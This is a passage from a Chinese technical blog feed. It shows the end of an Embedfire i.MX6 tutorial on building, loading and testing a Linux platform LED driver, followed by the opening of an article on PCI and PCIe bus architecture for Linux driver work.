module_exit(led_pdrv_exit);

MODULE_AUTHOR(&amp;quot;Embedfire&amp;quot;);
MODULE_LICENSE(&amp;quot;GPL&amp;quot;);
MODULE_DESCRIPTION(&amp;quot;the example for platform driver&amp;quot;);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;第1-6行，在led_pdrv中定义了两种匹配模式，在平台总线匹配过程中，只会根据id_table中的name值进行匹配，若和平台设备的name值相等，则表示匹配成功； 反之，则匹配不成功，表明当前内核没有该驱动能够支持的设备。&lt;&#x2F;li&gt;
&lt;li&gt;第8-18行，调用函数class_create，来创建一个led类，并且调用函数platform_driver_register，注册我们的平台驱动结构体，这样当加载该内核模块时， 就会有新的平台驱动加入到内核中。&lt;&#x2F;li&gt;
&lt;li&gt;第20-27行，注销函数led_pdrv_exit，则是初始化函数的逆过程。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;7-6-shi-yan-zhun-bei-p&quot;&gt;7.6. 实验准备&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id20&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;7-6-1-bian-yi-qu-dong-cheng-xu-p&quot;&gt;7.6.1. 编译驱动程序&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id21&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;7-6-1-1-makefilexiu-gai-shuo-ming-p&quot;&gt;7.6.1.1. makefile修改说明&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#makefile&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;本节实验使用的Makefile如下所示，编写该Makefile时，只需要根据实际情况修改变量KERNEL_DIR和obj-m即可。&lt;&#x2F;p&gt;
&lt;p&gt;Makefile(位于..&#x2F;linux_driver&#x2F;platform_driver&#x2F;Makefile)&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至代码&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id57&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;highlighttable&quot; class=&quot;language-highlighttable &quot;&gt;&lt;code class=&quot;language-highlighttable&quot; data-lang=&quot;highlighttable&quot;&gt;KERNEL_DIR=..&amp;#x2F;ebf_linux_kernel&amp;#x2F;build_image&amp;#x2F;build

ARCH=arm
CROSS_COMPILE=arm-linux-gnueabihf-
export  ARCH  CROSS_COMPILE

obj-m := led_pdev.o led_pdrv.o

all:
    $(MAKE) -C $(KERNEL_DIR) M=$(CURDIR) modules
modules clean:
    $(MAKE) -C $(KERNEL_DIR) M=$(CURDIR) clean
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;7-6-1-2-bian-yi-ming-ling-shuo-ming-p&quot;&gt;7.6.1.2. 编译命令说明&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id22&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;在实验目录下输入如下命令来编译驱动模块：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;make
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译成功后，实验目录下会生成两个名为“led_pdev.ko”、”led_pdrv.ko”的驱动模块文件&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-6-2-bian-yi-ying-yong-cheng-xu-p&quot;&gt;7.6.2. 编译应用程序&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id23&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;本节实验使用linux系统自带的”echo”应用程序进行测试，无需额外编译应用程序&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-6-3-kao-bei-qu-dong-cheng-xu-ying-yong-cheng-xu-dao-gong-xiang-wen-jian-jia-p&quot;&gt;7.6.3. 拷贝驱动程序、应用程序到共享文件夹&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id24&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;此节根据实际情况调整&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;#在Ubuntu上执行
#拷贝驱动程序、应用程序到共享文件夹中
cp *.ko  &amp;#x2F;home&amp;#x2F;Embedfire&amp;#x2F;workdir

#在开发板上执行
#将共享文件夹挂载到开发板上，将192.168.0.35:&amp;#x2F;home&amp;#x2F;Embedfire&amp;#x2F;workdir的共享文件夹路径替换成自己的
sudo mount -t nfs 192.168.0.35:&amp;#x2F;home&amp;#x2F;Embedfire&amp;#x2F;workdir &amp;#x2F;mnt

#将共享文件中的.ok文件拷贝到自己的板子目录下防止加载出错，这里直接拷贝到&amp;#x2F;home目录下
cp &amp;#x2F;mnt&amp;#x2F;*.ko  &amp;#x2F;home
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;7-7-cheng-xu-yun-xing-jie-guo-p&quot;&gt;7.7. 程序运行结果&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id25&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;7-7-1-kai-fa-ban-jia-zai-di-yi-ge-qu-dong-mo-kuai-p&quot;&gt;7.7.1. 开发板加载第一个驱动模块&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id26&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;教程中为了节省篇幅，只列举了一个led灯，配套的例程中提供了三个LED的代码。当我们运行命令 &lt;code&gt;insmod led_pdev.ko&lt;&#x2F;code&gt; 后， 可以在&#x2F;sys&#x2F;bus&#x2F;platform&#x2F;devices下看到我们注册的LED灯设备，共有三个，后面的数字0、1、2对应了平台设备结构体的id编号。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;wildfire-platform-driver&#x2F;led-platform-devices.jpg&quot; alt=&quot;led灯设备&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-7-2-kai-fa-ban-jia-zai-di-er-ge-qu-dong-mo-kuai-p&quot;&gt;7.7.2. 开发板加载第二个驱动模块&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id27&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;执行命令 &lt;code&gt;insmod led_pdrv.ko&lt;&#x2F;code&gt; ，加载LED的平台驱动。在运行命令 &lt;code&gt;dmesg|tail&lt;&#x2F;code&gt; 来查看内核打印信息，可以看到打印了三次probe，分别对应了三个LED灯设备。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;wildfire-platform-driver&#x2F;platform-driver-led-devices.jpg&quot; alt=&quot;led灯设备&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;7-7-3-kai-fa-ban-yun-xing-ying-yong-cheng-xu-p&quot;&gt;7.7.3. 开发板运行应用程序&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;永久链接至标题&quot; href=&quot;https:&#x2F;&#x2F;doc.embedfire.com&#x2F;linux&#x2F;imx6&#x2F;driver&#x2F;zh&#x2F;latest&#x2F;linux_driver&#x2F;platform_driver.html#id28&quot;&gt;¶&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;通过驱动代码，最后会在&#x2F;dev下创建三个LED灯设备，分别为led0、led1、led2，可以使用echo命令来测试我们的LED驱动是否正常。 以红灯（&#x2F;dev&#x2F;led0）为例，我们使用命令 &lt;code&gt;echo 0 &amp;gt; &#x2F;dev&#x2F;led0&lt;&#x2F;code&gt; 可控制红灯亮，命令 &lt;code&gt;echo 1 &amp;gt; &#x2F;dev&#x2F;led0&lt;&#x2F;code&gt; 可控制红灯亮，&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux PCIe驱动框架分析</title>
        <published>2025-01-12T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux-pcie驱动框架分析/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux-pcie驱动框架分析/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux-pcie驱动框架分析/">&lt;h1 id=&quot;linux-pciequ-dong-kuang-jia-fen-xi&quot;&gt;Linux PCIe驱动框架分析&lt;&#x2F;h1&gt;
&lt;p&gt;　　Kernel版本：4.14&lt;&#x2F;p&gt;
&lt;p&gt;　　ARM64处理器&lt;&#x2F;p&gt;
&lt;p&gt;**&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.chinaaet.com&#x2F;tags&#x2F;Linux&quot;&gt;Linux&lt;&#x2F;a&gt;**&lt;strong&gt;PCI驱动框架分析（一）&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;**　　1. 概述**&lt;&#x2F;p&gt;
&lt;p&gt;　　从本文开始，将会针对
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.chinaaet.com&#x2F;tags&#x2F;PCIe&quot;&gt;PCIe&lt;&#x2F;a&gt;专题来展开，涉及的内容包括：&lt;&#x2F;p&gt;
&lt;p&gt;　　PCI&#x2F;PCIe总线硬件；&lt;&#x2F;p&gt;
&lt;p&gt;　　Linux PCI驱动核心框架；&lt;&#x2F;p&gt;
&lt;p&gt;　　Linux PCI Host控制器驱动；&lt;&#x2F;p&gt;
&lt;p&gt;　　不排除会包含PCIe外设驱动模块，一切随缘。&lt;&#x2F;p&gt;
&lt;p&gt;　　作为专题的第一篇，当然会先从硬件总线入手。进入主题前，先讲点背景知识。在PC时代，随着处理器的发展，经历了几代I&#x2F;O总线的发展，解决的问题都是CPU主频提升与外部设备访问速度的问题：&lt;&#x2F;p&gt;
&lt;p&gt;　　第一代总线包含ISA、EISA、VESA和Micro Channel等；&lt;&#x2F;p&gt;
&lt;p&gt;　　第二代总线包含PCI、AGP、PCI-X等；&lt;&#x2F;p&gt;
&lt;p&gt;　　第三代总线包含PCIe、mPCIe、m.2等；&lt;&#x2F;p&gt;
&lt;p&gt;　　PCIe（PCI Express）是目前PC和嵌入式系统中最常用的高速总线，PCIe在PCI的基础上发展而来，在软件上PCIe与PCI是后向兼容的，PCI的系统软件可以用在PCIe系统中。&lt;&#x2F;p&gt;
&lt;p&gt;　　本文会分两部分展开，先介绍PCI总线，然后再介绍PCIe总线，方便在理解上的过渡，开始旅程吧。&lt;&#x2F;p&gt;
&lt;p&gt;**　　2. PCI Local Bus**&lt;&#x2F;p&gt;
&lt;p&gt;**　　2.1 PCI总线组成**&lt;&#x2F;p&gt;
&lt;p&gt;　　PCI总线（Peripheral Component Interconnect，外部设备互联），由Intel公司提出，其主要功能是连接外部设备；&lt;&#x2F;p&gt;
&lt;p&gt;　　PCI Local Bus，PCI局部总线，局部总线技术是PC体系结构发展的一次变革，是在ISA总线和CPU总线之间增加的一级总线或管理层，可将一些高速外设，如图形卡、硬盘控制器等从ISA总线上卸下，而通过局部总线直接挂接在CPU总线上，使之与高速CPU总线相匹配。PCI总线，指的就是PCI Local Bus。&lt;&#x2F;p&gt;
&lt;p&gt;　　先来看一下PCI Local Bus的系统架构图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pci-local-bus-architecture.png&quot; alt=&quot;微信截图_20221129145511.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　从图中看，与PCI总线相关的模块包括：&lt;&#x2F;p&gt;
&lt;p&gt;　　Host Bridge，比如PC中常见的North Bridge（北桥）。图中处理器、Cache、内存子系统通过Host Bridge连接到PCI上，Host Bridge管理PCI总线域，是联系处理器和PCI设备的桥梁，完成处理器与PCI设备间的数据交换。其中数据交换，包含处理器访问PCI设备的地址空间和PCI设备使用DMA机制访问主存储器，在PCI设备用DMA访问存储器时，会存在Cache一致性问题，这个也是Host Bridge设计时需要考虑的；此外，Host Bridge还可选的支持仲裁机制，热插拔等；&lt;&#x2F;p&gt;
&lt;p&gt;　　PCI Local Bus；PCI总线，由Host Bridge或者PCI-to-PCI Bridge管理，用来连接各类设备，比如声卡、网卡、IDE接口等。可以通过PCI-to-PCI Bridge来扩展PCI总线，并构成多级总线的总线树，比如图中的PCI Local Bus #0和PCI Local Bus #1两条PCI总线就构成一颗总线树，同属一个总线域；&lt;&#x2F;p&gt;
&lt;p&gt;　　PCI-To-PCI Bridge；PCI桥，用于扩展PCI总线，使采用PCI总线进行大规模系统互联成为可能，管理下游总线，并转发上下游总线之间的事务；&lt;&#x2F;p&gt;
&lt;p&gt;　　PCI Device；PCI总线中有三类设备：PCI从设备，PCI主设备，桥设备。PCI从设备：被动接收来自Host Bridge或者其他PCI设备的读写请求；PCI主设备：可以通过总线仲裁获得PCI总线的使用权，主动向其他PCI设备或主存储器发起读写请求；桥设备：管理下游的PCI总线，并转发上下游总线之间的总线事务，包括PCI桥、PCI-to-ISA桥、PCI-to-Cardbus桥等。&lt;&#x2F;p&gt;
&lt;p&gt;**　　2.2 PCI总线信号定义**&lt;&#x2F;p&gt;
&lt;p&gt;　　PCI总线是一条共享总线，可以挂接多个PCI设备，PCI设备通过一系列信号与PCI总线相连，包括：地址&#x2F;数据信号、接口控制信号、仲裁信号、中断信号等。如下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pci-bus-signal-definition.png&quot; alt=&quot;微信截图_20221129150026.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　左侧红色框里表示的是PCI总线必需的信号，而右侧蓝色框里表示的是可选的信号；&lt;&#x2F;p&gt;
&lt;p&gt;　　AD[31:00]：地址与数据信号复用，在传送时第一个时钟周期传送地址，下一个时钟周期传送数据；&lt;&#x2F;p&gt;
&lt;p&gt;　　C&#x2F;BE[3:0]#：PCI总线命令与字节使能信号复用，在地址周期中表示的是PCI总线命令，在数据周期中用于字节选择，可以进行单字节、字、双字访问；&lt;&#x2F;p&gt;
&lt;p&gt;　　PAR：奇偶校验信号，确保AD[31:00]和C&#x2F;BE[3:0]#传递的正确性；&lt;&#x2F;p&gt;
&lt;p&gt;　　Interface Control：接口控制信号，主要作用是保证数据的正常传递，并根据PCI主从设备的状态，暂停、终止或者正常完成总线事务：&lt;&#x2F;p&gt;
&lt;p&gt;　　FRAME#：表示PCI总线事务的开始与结束；&lt;&#x2F;p&gt;
&lt;p&gt;　　IRDY#：信号由PCI主设备驱动，信号有效时表示PCI主设备数据已经ready；&lt;&#x2F;p&gt;
&lt;p&gt;　　TRDY#：信号由目标设备驱动，信号有效时表示目标设备数据已经ready；&lt;&#x2F;p&gt;
&lt;p&gt;　　STOP#：目标设备请求主设备停止当前总线事务；&lt;&#x2F;p&gt;
&lt;p&gt;　　DEVSEL#：PCI总线的目标设备已经准备好；&lt;&#x2F;p&gt;
&lt;p&gt;　　IDSEL：PCI总线在配置读写总线事务时，使用该信号选择PCI目标设备；&lt;&#x2F;p&gt;
&lt;p&gt;　　Arbitration：仲裁信号，由REQ#和GNT#组成，与PCI总线的仲裁器直接相连，只有PCI主设备需要使用该组信号，每条PCI总线上都有一个总线仲裁器；&lt;&#x2F;p&gt;
&lt;p&gt;　　Error Reporting：错误信号，包括PERR#奇偶校验错误和SERR系统错误；&lt;&#x2F;p&gt;
&lt;p&gt;　　System：系统信号，包括时钟信号和复位信号；&lt;&#x2F;p&gt;
&lt;p&gt;　　看一下C&#x2F;BE[3:0]都有哪些命令吧：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pci-command-register-bits.png&quot; alt=&quot;微信截图_20221129151723.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;**　　2.3 PCI事务模型**&lt;&#x2F;p&gt;
&lt;p&gt;　　PCI使用三种模型用于数据的传输：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pci-transaction-model.png&quot; alt=&quot;微信截图_20221129151751.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　Programmed I&#x2F;O：通过IO读写访问PCI设备空间；&lt;&#x2F;p&gt;
&lt;p&gt;　　DMA：PIO的方式比较低效，DMA的方式可以直接去访问主存储器而无需CPU干预，效率更高；&lt;&#x2F;p&gt;
&lt;p&gt;　　Peer-to-peer：两台PCI设备之间直接传送数据；&lt;&#x2F;p&gt;
&lt;p&gt;**　　2.4 PCI总线地址空间映射**&lt;&#x2F;p&gt;
&lt;p&gt;　　PCI体系架构支持三种地址空间：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pci-address-space-types.png&quot; alt=&quot;微信截图_20221129151937.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　memory空间：针对32bit寻址，支持4G的地址空间，针对64bit寻址，支持16EB的地址空间；&lt;&#x2F;p&gt;
&lt;p&gt;　　I&#x2F;O空间PCI最大支持4G的IO空间，但受限于x86处理器的IO空间（16bits带宽），很多平台将PCI的IO地址空间限定在64KB；&lt;&#x2F;p&gt;
&lt;p&gt;　　配置空间x86 CPU可以直接访问memory空间和I&#x2F;O空间，而配置空间则不能直接访问；每个PCI功能最多可以有256字节的配置空间；PCI总线在进行配置的时候，采用ID译码方式，使用设备的ID号，包括Bus Number，Device Number，Function Number和Register Number，每个系统支持256条总线，每条总线支持32个设备，每个设备支持8个功能，由于每个功能最多有256字节的配置空间，因此总的配置空间大小为：256B * 8 * 32 * 256 = 16M；&lt;&#x2F;p&gt;
&lt;p&gt;　　有必要再进一步介绍一下配置空间：x86 CPU无法直接访问配置空间，通过IO映射的数据端口和地址端口间接访问PCI的配置空间，其中地址端口映射到0CF8h - 0CFBh，数据端口映射到0CFCh - 0CFFh；&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pci-config-address-register.png&quot; alt=&quot;微信截图_20221129151952.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　图为配置地址寄存器构成，PCI的配置过程分为两步：&lt;&#x2F;p&gt;
&lt;p&gt;　　CPU写CF8h端口，其中写的内容如图所示，BUS，Device，Function能标识出特定的设备功能，Doubleword来指定配置空间的具体某个寄存器；&lt;&#x2F;p&gt;
&lt;p&gt;　　CPU可以IO读写CFCh端口，用于读取步骤1中的指定寄存器内容，或者写入指定寄存器内容。这个过程有点类似于通过I2C去配置外接芯片；&lt;&#x2F;p&gt;
&lt;p&gt;　　那具体的配置空间寄存器都是什么样的呢？每个功能256Byte，前边64Byte是Header，剩余的192Byte支持可选功能。有种类型的PCI功能：Bridge和Device，两者的Header都不一样。&lt;&#x2F;p&gt;
&lt;p&gt;　　Bridge&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pcie-bridge-config-header.png&quot; alt=&quot;微信截图_20221129153234.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　Device&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pcie-device-config-header.png&quot; alt=&quot;微信截图_20221129153250.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　配置空间中有个寄存器字段需要说明一下：&lt;&#x2F;p&gt;
&lt;p&gt;　　Base Address Register，也就是BAR空间，当PCI设备的配置空间被初始化后，该设备在PCI总线上就会拥有一个独立的PCI总线地址空间，这个空间就是BAR空间，BAR空间可以存放IO地址空间，也可以存放存储器地址空间。&lt;&#x2F;p&gt;
&lt;p&gt;　　PCI总线取得了很大的成功，但随着CPU的主频不断提高，PCI总线的带宽也捉襟见肘。此外，它本身存在一些架构上的缺陷，面临一系列挑战，包括带宽、流量控制、数据传送质量等；&lt;&#x2F;p&gt;
&lt;p&gt;　　PCIe应运而生，能有效解决这些问题，所以PCIe才是我们的主角；&lt;&#x2F;p&gt;
&lt;p&gt;　　&lt;strong&gt;3. PCI Express&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;**　　3.1 PCIe体系结构**&lt;&#x2F;p&gt;
&lt;p&gt;　　先看一下PCIe架构的组成图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pcie-architecture-topology.png&quot; alt=&quot;微信截图_20221129153333.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　Root Complex：CPU和PCIe总线之间的接口可能会包含几个模块（处理器接口、DRAM接口等），甚至可能还会包含芯片，这个集合就称为Root Complex，它作为PCIe架构的根，代表CPU与系统其它部分进行交互。广义来说，Root Complex可以认为是CPU和PCIe拓扑之间的接口，Root Complex会将CPU的request转换成PCIe的4种不同的请求（Configuration、Memory、I&#x2F;O、Message）；&lt;&#x2F;p&gt;
&lt;p&gt;　　Switch：从图中可以看出，Swtich提供扇出能力，让更多的PCIe设备连接在PCIe端口上；&lt;&#x2F;p&gt;
&lt;p&gt;　　Bridge：桥接设备，用于去连接其他的总线，比如PCI总线或PCI-X总线，甚至另外的PCIe总线；&lt;&#x2F;p&gt;
&lt;p&gt;　　PCIe Endpoint：PCIe设备；&lt;&#x2F;p&gt;
&lt;p&gt;　　图中白色的小方块代表Downstream端口，灰色的小方块代表Upstream端口；&lt;&#x2F;p&gt;
&lt;p&gt;　　前文提到过，PCIe在软件上保持了后向兼容性，那么在PCIe的设计上，需要考虑在PCI总线上的软件视角，比如Root Complex的实现可能就如下图所示，从而看起来与PCI总线相差无异：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pcie-root-complex-arch.png&quot; alt=&quot;微信截图_20221129153351.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　Root Complex通常会实现一个内部总线结构和多个桥，从而扇出到多个端口上；&lt;&#x2F;p&gt;
&lt;p&gt;　　Root Complex的内部实现不需要遵循标准，因此都是厂家specific的；&lt;&#x2F;p&gt;
&lt;p&gt;　　而Switch的实现可能如下图所示：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pcie-switch-architecture.png&quot; alt=&quot;微信截图_20221129153405.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　Switch就是一个扩展设备，所以看起来像是各种桥的连接路由；&lt;&#x2F;p&gt;
&lt;p&gt;　　&lt;strong&gt;3.2 PCIe数据传输&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pcie-end-to-end-packet-link.png&quot; alt=&quot;微信截图_20221129153434.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　与PCI总线不同（PCI设备共享总线），PCIe总线使用端到端的连接方式，互为接收端和发送端，全双工，基于数据包的传输；&lt;&#x2F;p&gt;
&lt;p&gt;　　物理底层采用差分信号（PCI链路采用并行总线，而PCIe链路采用串行总线），一条Lane中有两组差分信号，共四根信号线，而PCIe Link可以由多条Lane组成，可以支持1、2、4、8、12、16、32条；&lt;&#x2F;p&gt;
&lt;p&gt;　　PCIe规范定义了分层的架构设计，包含三层：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pcie-layered-architecture.png&quot; alt=&quot;微信截图_20221129153802.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　Transaction层&lt;&#x2F;p&gt;
&lt;p&gt;　　负责TLP包（Transaction Layer Packet）的封装与解封装，此外还负责QoS，流控、排序等功能；&lt;&#x2F;p&gt;
&lt;p&gt;　　Data Link层&lt;&#x2F;p&gt;
&lt;p&gt;　　负责DLLP包（Data Link Layer Packet）的封装与解封装，此外还负责链接错误检测和校正，使用Ack&#x2F;Nak协议来确保传输可靠；&lt;&#x2F;p&gt;
&lt;p&gt;　　Physical层&lt;&#x2F;p&gt;
&lt;p&gt;　　负责Ordered-Set包的封装与解封装，物理层处理TLPs、DLLPs、Ordered-Set三种类型的包传输；&lt;&#x2F;p&gt;
&lt;p&gt;　　数据包的封装与解封装，与网络包的创建与解析很类似，如下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pcie-layered-packet-encapsulation.png&quot; alt=&quot;微信截图_20221129153837.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　封装的时候，在Payload数据前添加各种包头，解析时是一个逆向的过程；&lt;&#x2F;p&gt;
&lt;p&gt;　　来一个更详细的PCIe分层图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pcie-protocol-layer-stack.png&quot; alt=&quot;微信截图_20221129154056.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　**　3.3 PCIe设备的配置空间**&lt;&#x2F;p&gt;
&lt;p&gt;　　为了兼容PCI软件，PCIe保留了256Byte的配置空间，如下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pcie-standard-config-space.png&quot; alt=&quot;微信截图_20221129154153.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　此外，在这个基础上将配置空间扩展到了4KB，还进行了功能的扩展，比如Capability、Power Management、MSI中断等：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-pcie-driver&#x2F;pcie-extended-config-space.png&quot; alt=&quot;微信截图_20221129154211.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;　　扩展后的区域将使用MMIO的方式进行访问；&lt;&#x2F;p&gt;
&lt;p&gt;　　草草收场吧，对PCI和PCIe有一些轮廓上的认知了，可以开始Source Code的软件分析了，欲知详情、下回分解！&lt;&#x2F;p&gt;
&lt;p&gt;　**　Linux PCI驱动框架分析（二）**&lt;&#x2F;p&gt;
&lt;p&gt;**　　1. 概述**&lt;&#x2F;p&gt;
&lt;p&gt;　　本文将分析Linux PCI子系统的框架，主要围绕Linux PCI子系统的初始化以及枚举过程分析；&lt;&#x2F;p&gt;
